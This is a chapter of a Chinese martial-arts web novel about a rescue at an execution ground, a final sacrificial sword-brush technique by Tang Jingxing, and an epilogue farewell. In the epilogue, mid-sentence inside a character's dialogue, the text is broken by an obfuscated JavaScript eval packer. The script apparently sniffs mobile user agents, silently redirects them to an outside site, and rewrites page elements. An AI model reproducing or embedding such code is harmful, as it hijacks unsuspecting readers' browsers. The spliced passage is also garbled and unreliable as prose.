喻枫微侧头向后看,发现那群‘侍卫’已经在香堇的引导下,大摇大摆地出了府门,往法场而去,她轻声对属下说:“你们速速离开,去后街寻找相捕头,听他号令。” 说完,她手握单刀,凝神看了看刀柄上绑着的两个半枚铜钱,眼神晦暗不明,最终还是下了决心,往前门而去。 太阳在日晷上一格一格地移动,终于到了午时二刻,阴阳生引炮,轰鸣三声,街头被太阳晒蔫了的围观群众陡然又精神了起来,跳着脚地欢呼:“到时候了!” 叶晟看着书案上准备好的湖笔,却弃之不用,转头问:“罪证之一的判仙笔拿来与我。” 纪知府试图劝说:“王爷,这不合规矩……” “纪大人。”叶晟拿过判仙笔,欣赏了一下,和颜悦色地说,“以他之笔,判他正法,正合因果报应之意,有何不妥?” 说罢,他一扬手,用笔尖蘸取大红朱砂,肆意地在白色纸签上‘唐景行’三字姓名上画了个红勾,最后一撇向外重重一转,判仙笔连着纸签飞射而出,正掷在叶景行面前的木板上,深入三分,笔杆颤动不休,阳光下,黑色陨铁内的金芒闪耀流转,璀璨无比。 “今有江洋大盗唐景行一名,处以斩首之刑!” 他笑了:此时此刻,他至少是作为唐景行去死了。 抱着鬼头刀的刽子手大声应诺,转身拿起大碗一口饮下,转头刚要往刀上喷酒,就听见府衙对面,巷子口鼎香楼的二楼整面墙轰然倒塌,所有绳子当中而断,堆积如山的大小器皿一骨碌滚了下来。 或是酒坛,或是酒桶,自二楼摔下无不应声碎裂,浓郁酒香混杂一起,琥珀色的液体在石板上肆意横流,转眼将十字街头尽皆淹没。 围观人群开始吓了一跳,发现是围墙塌了酒水撒了个彻底,又指着哈哈大笑起来。 孰料,酒坛滚完之后,破墙后面出现了一个女人,她头发花白,面容苍老,抬手向端坐中间的人一指,嘶哑着嗓子喝道:“叶晟!十五年前那笔账,今天我来讨了!” 围观人群大哗,激动得交头接耳:“今天可是来值了!不但能看杀头,还能看劫法场!” 叶晟毫不惊讶,甚至还笑了起来:“五娘子,多年不见啊,还以为你早被你主子抛弃,淹死在阴沟里了呢,你要找我算账?” 他叹息着摇头,对高台上的唐景行说:“瞧瞧,这就是当年给了你爹错误线索,让他去府衙送死的五娘子,你可好好睁大眼睛看清楚了。” 五娘子声如杜鹃泣血:“当初是你害得我欺骗大哥!我错了,后悔了十五年,所以今天我来了!” 她双手一挥,从背后抽出火把,奋力向场中仍在汩汩流动的酒液扔去,叶晟一抬手,早有不声不响埋伏到高台附近的新侍卫们,大喝一声,搭弓射箭,将火把在空中湮灭。 挤在人群中的江潮生扼腕叹息:“早说你也来劫法场啊,大家还有个商量。” 他周围的人正在兴奋地踮脚张望,突然愣住了,齐齐转头看他:“你说什么?劫法场?” “对啊!”江潮生爽朗一笑,“我也是来劫法场的!” 他将身一纵,踩着前面人的肩膀就飞了起来,在空中手舞足蹈大喊:“铁杀寨好汉来劫法场啦!刀枪无眼,闲人闪开!” 纪知府还没从惊讶中反应过来,就听到他跟前的一个‘侍卫’高声大嗓地骂了起来:“狗屁!老子才是铁杀寨的好汉!你敢冒充于我?拿命来!” 此时五娘子也没闲着,看到火把熄灭,冷笑一声,转身踢飞一个箱子,箱子无盖,其中无数火折子倾斜而出,迎风一晃,小小火苗坚强地摇曳着,往地上落去。 四周的侍卫慌了神,纷纷出手阻拦,但到底是有几个漏网之鱼落到了地上,酒液一点即燃,火苗轰地一声遍布全场。 这下看热闹的人终于知道怕了,转身要往后跑,后面的人看不见,更加用力地往前挤,怒骂呵斥乱作一团, 江潮生已经窜到了场中,地面火焰四起,他蜻蜓点水三跃之下就到了高台之上,手中判仙笔一挥,闭着眼睛甩出他最熟悉的第一招:“急把银河倾做雨!” 刽子手挥舞着鬼头刀正要冲过来,首当其冲被笔风扫中,惨叫一声向后飞去,跌落台下。 如果说刚才还是刚才还是远远看见,此时已经打到面前,再不能轻视,纪知府振袖而起,刚要下令,就被四个捕快连拖带拉地往后拽去,段捕头单刀横于胸前,警惕地断后。 “坐镇府衙的不是相捕头吗?段捕头你怎在此处?”纪知府惊讶地问。 段捕头木着脸回答:“相捕头说我一贯贪生怕死,趋炎附势,正适合保着大人您闭门不出,免淌这趟浑水。” “胡闹!”纪知府挣扎着回头,“朝廷钦差在此,本官岂能望风而逃。” 无奈四个捕快几乎把他抬离了地,一阵风地卷向府门,段捕头疾步跟上:“对啊,钦差还在呢,有您什么事儿!” 随着他们一拥而入,府衙大门被紧紧地关了起来。 江潮生率先冲到高台之上,引得周围的‘侍卫’们呐喊一声,齐齐向他冲了上来,他出招逼退了一波,伸手利落地拽断唐景行身上的锁链:“快上来,我背着你跑。” 唐景行却一把抓住他,指向四面巷子口的彩幡,嘶声道:“那是火药!快去!” 已经来不及了,刚才射落火把的大汉得到了叶晟的眼神示意,狞笑着把箭尖在地面上席卷而来的火焰中一撩,对着对面的彩幡就射了过去。 眼看火箭在空中飞射而去,他还唯恐天下不乱地喊了起来:“多谢五娘子赠火!” 五娘子终于一跃飞出了破墙,她身姿曼妙轻灵,一脚踩在火箭之上,竟然如飞鸟掠枝,不但改变了火箭的方向,而且借力对着监斩台而来,怒吼一声:“叶晟!偿命!” “老相好的,多年不见火气这么大?”雷大石突然从斜刺里杀出,半个车轮大的巨斧挂动风声,横着朝五娘子腰身劈去,这一下若是劈中,必将是身首各半。 五娘子面容扭曲,眼中充满恨意,双手弹出尖利指甲,非但不躲避,反而迎着斧子冲了上去:“我就知道还有你!” 她被雷大石截住,就再也顾不上空中再度飞射的火箭,唐景行忍住锥心的疼痛,用力一推江潮生:“快去!” 江潮生只犹豫了一瞬,咬牙纵身离开:“等我!” 他冲过去一脚踹在彩幡上,想将杆子踹断踢飞火药包,却没料到这是叶晟专门命人准备的实心铁杆,除了剧烈摇晃之外,没有损伤分毫。 江潮生挥笔击落飞来的火箭,急了眼,拼命对下面的人高喊:“跑啊!马上要炸了!” 可巷子里如今已经已经挤成了人墙,围观群众此时才知道害怕,哭喊着推搡着,却被夹在当中动弹不得。 “救命!救命啊!” 就在这马上要践踏出人命惨案的时刻,清亮的铜锣声从巷子尽头响起,江州百姓熟悉的身着捕快服饰的官差,背插足有三米的竹竿,上面飘扬的红旗在几十丈外都可以看到,手中铜锣敲得紧密,大声吆喝:“从这儿走!不要乱!都能走!” 挤得都快成肉饼的人群眼中突然就有了方向,乱哄哄地冲着红旗而去,而红旗还不止一面,他们仿佛抓紧了救命稻草,再也不敢有他想,跌跌撞撞地分流入周边无数小巷,每个巷尾又会出现指路的捕快,清亮的铜锣声伴着他们杂乱的脚步声响彻江洲城。 叶晟看到此时,不怒反笑,指点道:“相不凡确实是个人才。” 他身边的香堇敛袖低头,轻声询问:“速战速决罢?” 得到了叶晟的默许,香堇粉裙一摆,人已经轻盈地飘在半空,抢在五娘子之前落脚于巨斧之上,抬手就是一团粉色香雾袭来。 五娘子刚才被雷大石的巨斧扫到,此刻鬓发蓬乱,口鼻流血,但眼中精光更甚,对着她劈头抓来,香堇闪身掠过,对雷大石娇笑道:“爹,别光顾着和老相好叙旧了,正事要紧。” 雷大石哈哈一笑,转动庞大身躯,咚地一声落在高台上,眼望着跪坐在地,虚弱不堪的唐景行,装模作样地对斧子吹了口气:“当年啊,我就是用这把斧子把你爹的头砍下来,挂在旗杆上示众的,如今你的头也就这样罢!” 他等着看唐景行或惊恐或畏惧,乃至哭着求饶,没想到唐景行虽然连站的力气都没有,依然面容平静,黑眸清凌凌地看向他,目光中只有厌弃。 “好小子!你跟你那个假圣人的爹一样该死!”雷大石怒火万丈,使出全部力气,巨斧呼呼声响,对着唐景行当头劈下。 江潮生好不容易卸下一包火药,抽空回头一看,正好看到雷大石恶狠狠地这一劈,他肝胆欲裂,吼道:“景行!” 电石火光之间,雷大石直觉后背一凉,雪亮刀光斜劈而下,他大惊失色,仓促之间拖着斧子侧身闪避,那一口气堵在胸口,差点咳血。 定睛一看,他惊怒交加,背后竟然是身着青衣脚踏皂靴,手中还拿着朝廷捕快制式单刀的喻枫。 “你疯了!?”他大声咆哮起来,“那边的公道堂余孽你不去抓,来杀我?!” 喻枫冷冰冰地看着他:“你不就是公道堂的余孽吗?老六,江湖诨名斧头,十九桩陈年大案与你有关,挂着你名字的通缉令至今依然有效。” 出其不意,她挥刀便砍,刀光凛冽当中,竟隐隐有风雷之声。 “玄天门?不是十年前就因为私晒海盐被朝廷剿灭了吗?”雷大石避开她这刀,狞笑道,“江洲城还真是余孽丛生啊!今日一并留下罢!” 香堇和五娘子缠斗之际,一直注意着周围动静,一看雷大石也被拦住,心急之下断喝道:“血云六骑听令!即刻诛杀唐景行!” 几个大汉急忙放下弓箭,不再试图引爆彩幡,呼喝一声,向高台上孤零零的唐景行而去。 一个项戴狼牙的汉子跑在最前面,他兴奋地翻上高台,手中大刀一扬,眼中闪着嗜血光芒,眼看就要一刀砍下唐景行的头颅—— 锵然一声,一个明眸皓齿的小丫头手持双剑挡在了唐景行面前,她明显有些害怕,握着剑的手却坚定无比,怒喝:“不许伤害公子!” 叶晟扶额,喟叹道:“陶陶,你也算藏得深,我竟然没有发现……你是谁的人?” “谁的人都不是!我只是江南水灾死了爹娘自卖自身进死士营的小丫头!”陶陶尖声说,“我爹娘说,若是有公道堂在,几大帮派不会因为械斗而私开水渠,家乡就不会有水灾!” 她害怕得发抖,但还是勇敢地挡在了唐景行面前:“公道堂是好人!” 被称为血云六骑的大汉从四面八方向高台冲来,此时场中火焰已经渐弱,巷口堵塞的人群也明显有了疏散的迹象,却不料有一群人反向而来,从溃散的人流中冲了出来! 一个单臂男人手拿一柄下有锁链的锋锐短刃,怒声吼道:“蓼花簇簇!红花所主!二郎们,跟我上!为死去的兄弟报仇!” “老杨!老杨!”挂在彩幡上的江潮生提高声音求援,“这彩幡上都是火药,会死人的,快帮我拆!” 他眼看陶陶虽然双剑齐出,和面前大汉斗得势均力敌,喻枫也挡住了雷大石,但—— 叶晟终于站了起来,满脸厌倦之色,举起手:“草莽之辈,看着就心烦,神机何在?” 眼前一花,他身边突然出现一人,大白天也穿着黑衣,黑巾蒙面,手里拿着一柄尺把长的金属器具,前端是铜管,表面浑圆,乍看起来毫无杀伤力,正在搏杀的众人只是扫了一眼,并不在意。 “砰!”一声巨响。 陶陶瞪大双眼,胸口出现一个血洞,直直地向后倒了下去,她愕然地看着天空,艰难地喘着气,不明白自己是怎么了? 而和她对战的血云骑大汉,也不例外,呆呆地站着,低头看着自己小腹上突兀出现的血洞,再抬头,嗓子里咕噜了一声,鲜血喷涌,一头栽倒。 被叫做神机的男子退后一步,令人绝望的是,跟他一样装束的人眨眼之间又出现了四个,每人手里都拿着一模一样的金属器具,同时举起来,寻找着自己的目标。 一片寂静之中,只听见喻枫的吼声:“私造火铳!勤郡王你是要造反吗?!” 叶晟叹了口气:“你们都死光了,谁又会知道呢?” 他挥挥手,四个神机人同时叩动扳机,空中的五娘子使出浑身解数,平地三纵才躲过,但胳膊上还是挨了一枪,鲜血瞬间染红了半条衣袖。 红花会兄弟也留下了两具尸体,他们却更加悍不畏死,嗷嗷叫着对法场周围身着侍卫服的大汉群起围攻:“就是他们!血洗蓼花岛的就是穿这个衣服的人!” 四个神机人退去,转瞬之间,场中又出现了八个,同样手持火铳,分别瞄准了喻枫、五娘子,江潮生,杨顺水……两人一组,查缺补遗,此番再无生路。 这下连江潮生都心生绝望,他却不躲避,咬牙最后对着彩幡上的火药包挥下一击——死也要拼一把。 此时,谁也没注意在高台上的唐景行。 他吃力地支起身子,用手轻轻地把陶陶大睁的双眼合上,然后转身,握住了那杆把他的名字钉在木台上的判仙笔。 叶晟瞥见了他的动作,不由好笑:“你现在丹田破碎,武功尽毁,便是我放你走,你拖着这副身体都走不出十字街口,现在判仙笔与你何用?垂死挣扎,徒赠好笑。” 唐景行抬起头,也笑了。 他知道自己丹田尽毁,经脉紊乱,明月诀再也不能给他丝毫助力,判仙笔握在手里,也只不过是一杆普通的兵器,再也施展不出惊天动地的雨花笔法。 但不知为何,他就有一种渴望,一种本能,觉得自己必须做点什么。 为自己,为江潮生,为喻枫,为眼前这些仗义相助的热血江湖儿女,为江州百姓,为天下苍生…… 冰冷的判仙笔握在掌中,身上伤口破裂,鲜血如小溪般涓涓而下,染红了半边衣衫,也沿着白皙手腕流淌到了判仙笔之上,将其淹没。 再度握紧判仙笔,一股莫可名状的的玄妙感觉突显心中,在这一刻,笔和人仿佛融为一体,本是死物的判仙笔在掌中勃勃跳动起来!唐景行来不及思索这是什么,他只知道,机会来了! 唐景行嘴唇翕动,嘶哑地念出父亲当初的名号:“天公地道,令出无双。” 苍天垂怜,唐家祖先在上,就让我焚此残躯,以做最后一搏! 他愤然站起,顶着最后一口锐气高喊:“唐小江,你看清楚了!这就是雨花笔法第十三式!玉石俱焚!” 这一式笔法,号称唐家一人一生只能施展一次的笔法,因为此招之后场中无论敌我均是千疮百孔,甚至死无全尸。 叶晟首次动容,站起来运起轻功向上纵去,却被五娘子当头抱住,四肢缠上他的身躯,嘿嘿冷笑:“公子啊……你我都去见大哥罢!” 顷刻之间,黑色陨铁中的金芒蜂拥而出,以前所未有的密集程度在空中盘旋,无穷无尽,倾巢而出。 江潮生心痛欲裂,再也顾不得什么火药包,一蹬彩幡,整个人如利箭向高台上手执判仙笔茕茕独立的唐景行冲去,浑然不顾自己已经暴露在八杆火铳神机的射程之内:“景行!不!” 绚烂金光乍现,犹如银河倒翻人间,明明是正午时分,却耀眼得盖过了天空太阳的光芒,让所有人眼前发白,竟然看不清事物。 无数锋锐寒芒随着金光飞射而出,天罗地网一般,将高台附近笼罩得风雨不透,正面的监斩台毫无遮掩,被冲得甚至连棚子都轰然倒地,先后出现总共十三名神机人身躯四肢被射得鲜血飙飞,散成无数红色花朵。 旁边的雷大石和香堇双双被寒芒刺中,倒地不起,身下蔓延出大片血迹,剩下的血云骑们也未能幸免,懵然无知之时就没了性命。 而叶晟飞逃不及,也从空中直坠而下,胸腹处血花频现,重重地落在地面。 五娘子依旧死死地抱住他,唇角含笑,竟是已经闭上了眼睛。 他还没来得及挣扎起身,喻枫已经一跃而到面前,被枪击断只剩一半的单刀依旧雪亮,直指他面门。 “你不能杀我!我是朝廷命官!我是钦差!我是先王敕封的勤郡王!”叶晟披头散发,再无刚才的神气,色令内荏地吼着。 喻枫皱眉,还没来得及说话,叶晟背后,杨顺水挣扎着推开紧要关头护住自己的兄弟尸体,单臂挥动短刃,直接刺穿了叶晟的咽喉。 叶晟再张嘴时候便惊恐地发现自己无法出声,只有鲜血大口涌出,他直勾勾地瞪着喻枫,仿佛在谴责她身为官差,为何目睹杀人而不加阻拦。 喻枫看着杨顺水,冷冷地抛下一句:“跑不快,就抓你了。” 说完,转身就走,一边吹响了颈间的哨子,这是她和相捕头约好的信号,大局已定,可以来收尾了。 “景行!景行!”江潮生双腿被寒芒穿透,鲜血在他脚下拖出长长的痕迹,跟着他一直走向高台。 高台之上,唐景行静静地躺在地上,乌发披散,遮蔽大半张脸,只露出毫无血色的下巴。 “景行……景行!”江潮生勉力拖着流血不止的腿爬上高台,轻轻地,怕惊扰对方一样拨开了他的乱发,“你醒醒……你不是说我还欠你雪人吗?等你醒了,到了冬天,我给你堆一百个一千个,堆在窗外,你天天能看见……景行!景行!” 唐景行睫毛低垂,面容平静,一动不动,又仿佛只是睡着了,所以无法回答他。 只有江潮声悲怆的哭声回荡在十字街头。 12. 尾声 又是一个四月天,今年老天爷保佑,风调雨顺,老百姓也终于得以喘息,街面上的生意也好起来,江洲城重新恢复了活力。 虽已夏至,但天气不冷不热,正适合出门。 江洲城门口,一群人正在送行,江潮生掂了掂身上的包袱,挥手道:“诸位,青山不改,绿水长流,不必远送。” “哪个要送你哦!”张发财推了他一把,“我只想跟你说一声,快点回来,不然丐帮少帮主可真轮到我当了。” 江潮生笑着一拳打回去:“你还是跟三叔老老实实把鼎香楼再开起来吧!你哪是要饭的料,都饿瘦了!” 喻枫照旧一身捕头装束,挎着单刀站在旁边看他们打闹,低声问:“真的要走吗?” 江潮生一拍胸口:“说走就走,喻捕头你升任正捕头,我小泥鳅也要翻江倒海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598505|171954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那……什么时候回来?”喻枫状似无意地问,“或者……还回不回来了?” 江潮生抬头看着城门上硕大的江州二字,爽朗地一笑:“回!等景行兄弟醒了,我一定赶回来!” 说完,他开开心心地挥手,转身沿着官道大步走了下去。 只剩下张发财和喻枫站在原地目送。 有生之年,终会相见。